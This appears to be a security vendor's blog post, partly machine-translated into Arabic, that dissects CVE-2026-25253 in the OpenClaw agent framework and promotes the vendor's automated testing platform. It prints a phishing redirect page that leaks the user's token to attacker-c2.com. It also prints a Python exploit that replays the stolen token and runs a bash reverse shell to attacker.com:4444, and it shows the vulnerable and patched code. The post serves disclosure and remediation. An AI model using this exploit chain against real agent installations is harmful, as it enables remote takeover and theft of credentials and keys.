رأس القلم

CVE-2026-25253 OpenClaw Bug Enables One-Click Remote Code Execution via Malicious Link

In the rapidly evolving landscape of Agentic AI, the boundary between “convenient configuration” and “critical vulnerability” is often a single line of code. The recent disclosure of CVE-2026-25253 (CVSS 8.8) in OpenClaw—the industry-standard open-source framework for autonomous agents—has sent shockwaves through the AI engineering community.

This is not merely a bug; it is a structural failure in how local-first AI agents handle trust. It represents a new class of “Agent-Specific Vulnerabilities” (ASVs) where the very autonomy we program into our tools is weaponized against us.

This comprehensive technical guide will dissect the vulnerability at the packet level, analyze the flawed JavaScript logic, and demonstrate how we utilized Penligent.ai—our proprietary AI-driven penetration testing platform—to autonomously identify, reproduce, and validate this exploit chain before a human analyst wrote a single line of script.

1. The Attack Surface: Why OpenClaw Was Vulnerable

To understand the exploit, one must understand the architecture of OpenClaw (formerly Moltbot). Unlike traditional web servers that follow a strict Request-Response cycle, OpenClaw operates on a WebSocket-heavy Gateway Architecture.

The Gateway Pattern

OpenClaw consists of two main components:

  1. The Frontend (UI): A React-based interface running in the browser.
  2. The Backend (Agent): A Node.js/Python process running on localhost:18789 that holds the actual LLM API keys and executes tools (file system access, terminal execution).

To allow users to connect to remote agents or custom configurations, OpenClaw introduced a feature allowing the WebSocket endpoint to be defined dynamically via a URL query parameter: ?gatewayUrl=....

The Fatal Flaw: Implicit Trust

The vulnerability lies in the initialization sequence of the frontend. When the application loads, it parses the gatewayUrl parameter and immediately attempts to establish a WebSocket connection.

بشكل حاسم, it attaches the user’s Authentication Token (stored in LocalStorage) to the handshake.

This creates a Cross-Site WebSocket Hijacking (CSWSH) condition with a twist: the attacker doesn’t need to host the WebSocket script; they just need to host the destination of the legitimate client’s connection.

CVE-2026-25253 OpenClaw

2. Lab Setup: Building the Target

For security researchers wishing to study this vulnerability, a controlled environment is essential. We will use Docker to spin up a vulnerable version of OpenClaw (pre-patch v2026.1.29).

الضعفاء docker-compose.yml:

YAML

`version: ‘3.8’ services: openclaw-victim: image: openclaw/openclaw:2026.1.28-legacy container_name: openclaw-cve-2026-25253 ports: – “18789:18789” environment: – OPENCLAW_API_KEY=sk-test-12345-very-secret – SANDBOX_MODE=loose # Simulates typical developer setup networks: – penligent_lab

Simulating the Attacker’s C2 Server

attacker-c2: image: python:3.11-slim container_name: attacker-c2 volumes: – ./exploit:/app command: python3 /app/server.py ports: – “8080:8080” networks: – penligent_lab

networks: penligent_lab: driver: bridge`

Once running, the victim service is accessible at http://localhost:18789.

3. The Automated Discovery

Before we manually exploit this, it is critical to understand how modern Dynamic Application Security Testing (DAST) tools like Penligent.ai detect this. Traditional scanners often miss WebSocket logic flaws because they cannot “understand” the intent behind a connection.

Penligent uses Agentic Red Teaming, where an AI attacker interacts with the application intelligently. Here is how we configured Penligent to find CVE-2026-25253.

Phase A: The Reconnaissance Scan

We pointed Penligent at the target instance. The Penligent Recon Module immediately mapped the application structure.

Penligent Scan Configuration (YAML):

YAML

`target: “http://localhost:18789” strategy: “aggressive-logic-fuzzing” modules:

  • websocket_interceptor
  • parameter_pollution
  • outbound_connection_monitor ai_persona: “Senior Red Teamer”`

Phase B: Hypothesis Generation

Penligent’s AI engine analyzed the frontend JavaScript bundles (main.bundle.js) and identified the parameter parsing logic.

[Penligent Log 14:02:21]: Observation: The application reads window.location.search for gatewayUrl.

[Penligent Log 14:02:22]: الفرضية: If I supply an external URL to gatewayUrl, the client might initiate a connection.

[Penligent Log 14:02:22]: Risk Assessment: If the connection includes the Authorization header or payload, this is a token leakage vulnerability.

CVE-2026-25253 OpenClaw

Phase C: The OAST (Out-of-Band) Trigger

Penligent automatically generated a unique interaction URL (e.g., ws://oast.penligent.security/capture/xyz) and injected it into the browser context it was controlling.

Generated Payload:

http://localhost:18789/?gatewayUrl=ws://oast.penligent.security/capture/xyz

النتيجة:

The Penligent OAST listener received a connection. Crucially, the payload analyzer flagged high-entropy data inside the JSON handshake: The Admin Token.

Data PointValue Detectedالخطورة
Source IP127.0.0.1 (Victim)Info
ProtocolWebSocket (RFC 6455)Info
الحمولة{"token": "sk-test-12345..."}CRITICAL

By using Penligent, we confirmed the vulnerability in under 4 minutes without manual code review.

4. Manual Exploitation: The “One-Click” Kill Chain

Now that Penligent has confirmed the vector, we proceed to manual verification to demonstrate the full impact of the RCE.

Step 1: The Trap (Social Engineering)

The attacker hosts a seemingly innocent webpage. In a real-world scenario, this could be disguised as an “OpenClaw Plugin” or a “Configuration Helper.”

HTML

<html> <body> <h1>Installing AI Tools...</h1> <script> // Force the user's local OpenClaw to connect to our Evil Server // The user's browser acts as the carrier pigeon for the token. window.location.href = "<http://localhost:18789/?gatewayUrl=ws://attacker-c2.com/steal>"; </script> </body> </html>

Step 2: Token Harvesting & Replay

The attacker’s server (listening on attacker-c2.com) accepts the WebSocket connection.

Wireshark Analysis of the Leak:

نص عادي

Request Method: GET Request URL: ws://attacker-c2.com/steal Upgrade: websocket ... [WebSocket Text Frame] Payload: { "type": "hello", "version": "2.4.0", "auth": { "token": "sk-test-12345-very-secret" <-- LEAKED } }

Step 3: Remote Code Execution (The “Reverse” Connection)

With the token, the attacker effectively becomes the “owner” of the OpenClaw instance. The attacker does not need to use the victim’s browser anymore. They can initiate a new connection from their own machine directly to the victim’s ws://localhost:18789 (using CSWSH techniques via a malicious site if the victim is behind NAT, or direct connection if exposed).

The RCE Payload (Python):

بايثون

`import json import websockets import asyncio

async def trigger_rce(target_uri, admin_token): async with websockets.connect(target_uri) as ws: # 1. Authenticate await ws.send(json.dumps({ “type”: “auth”, “token”: admin_token }))

    # 2. Verify Session
    resp = await ws.recv()
    print(f"[+] Auth Response: {resp}")
    
    # 3. Payload: Execute a reverse shell via the 'system.run' tool
    # This bypasses the UI and goes straight to the Agent's brain.
    rce_command = "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
    
    tool_call = {
        "type": "tool_execute",
        "name": "system.run",
        "parameters": {
            "command": rce_command,
            "background": True
        }
    }
    
    print(f"[!] Sending Payload: {rce_command}")
    await ws.send(json.dumps(tool_call))
    
    result = await ws.recv()
    print(f"[+] Execution Result: {result}")

Usage: python exploit.py ws://127.0.0.1:18789/ “sk-test-12345…”`

5. Root Cause Analysis: The Code That Failed

To prevent this, we must look at the source. The vulnerability existed in frontend/src/socket/Gateway.ts.

Vulnerable Code Snippet:

تايب سكريبت

`// BAD CODE (Do not use) export class SocketClient { connect() { // Directly trusting the URL param const params = new URLSearchParams(window.location.search); const customGateway = params.get(‘gatewayUrl’);

const targetUrl = customGateway || getDefaultUrl();

// Auto-connecting with credentials
this.ws = new WebSocket(targetUrl);
this.ws.onopen = () => {
  this.sendAuth(localStorage.getItem('auth_token')); // <--- THE CRITICAL FAIL
};

} }`

The Fix (Applied in v2026.1.30):

The OpenClaw team, coordinating with Penligent security researchers, implemented a “Trust on First Use” (TOFU) policy and origin validation.

تايب سكريبت

`// PATCHED CODE export class SocketClient { connect() { const params = new URLSearchParams(window.location.search); const customGateway = params.get(‘gatewayUrl’);

if (customGateway && !isWhitelisted(customGateway)) {
    // Halt connection and ask user for explicit confirmation
    showSecurityWarning(customGateway);
    return;
}

// ... proceed only if trusted

} }`

6. Business Impact: Why This Matters for Enterprise

This is not just a technical curiosity; it is a business risk. Companies are deploying AI agents to internal networks with access to:

  • Source Code Repositories: Agents often have SSH keys to clone and read code.
  • Production Databases: Agents are used to write SQL queries.
  • Cloud Credentials: ~/.aws/credentials are often readable by local agents.

An attacker exploiting CVE-2026-25253 gains access to كل شيء of this. The “One-Click” nature means a Phishing email sent to a DevOps engineer could compromise the entire cloud infrastructure.

Table: Comparison of Attack Vectors

الميزةTypical SSRFOpenClaw RCE (CVE-2026-25253)
التعقيدHigh (Requires bypasses)منخفضة (Single Link)
التأثيرInternal Network ScanFull Remote Code Execution
المصادقةOften bypassedStolen & Reused
الكشفWAF / FirewallInvisible (Encrypted WebSocket)

7. How Penligent Protects Your AI Supply Chain

The discovery of CVE-2026-25253 underscores the need for Continuous Automated Red Teaming for AI applications. Static Analysis (SAST) tools looking for “SQL Injection” will never find “Logic Flaws in Agent Handshakes.”

Penligent.ai is the only platform designed specifically for the AI era.

The Penligent Workflow for Agent Security:

  1. Map: We discover all exposed API endpoints and WebSocket listeners in your AI agents.
  2. Simulate: Our “Adversarial Agents” generate thousands of attack scenarios, including Prompt Injection, Sandbox Escapes, and Protocol Hijacking like CVE-2026-25253.
  3. تحقق من ذلك: We provide Proof-of-Concept exploits (like the Python script above) so your engineers can reproduce the issue instantly.
  4. Remediate: We integrate with your CI/CD to block vulnerable builds before they deploy.

If you are building or using AI Agents, you cannot rely on legacy security tools. You need an AI to catch an AI.

8. Next Steps

CVE-2026-25253 is a wake-up call. The convenience of “URL-based configuration” is a relic of the Web 2.0 era that is dangerous in the Web 3.0 / Agentic AI era.

Immediate Actions Required:

  1. Update OpenClaw to version 2026.1.30+.
  2. Run a Penligent Scan against your internal AI tools to identify similar logic flaws.
  3. Educate Engineers: علاج المضيف المحلي links with the same suspicion as external phishing links.

Security is not a state; it is a process. And in the age of AI, that process must be automated.

الموارد

شارك المنشور:
منشورات ذات صلة
arArabic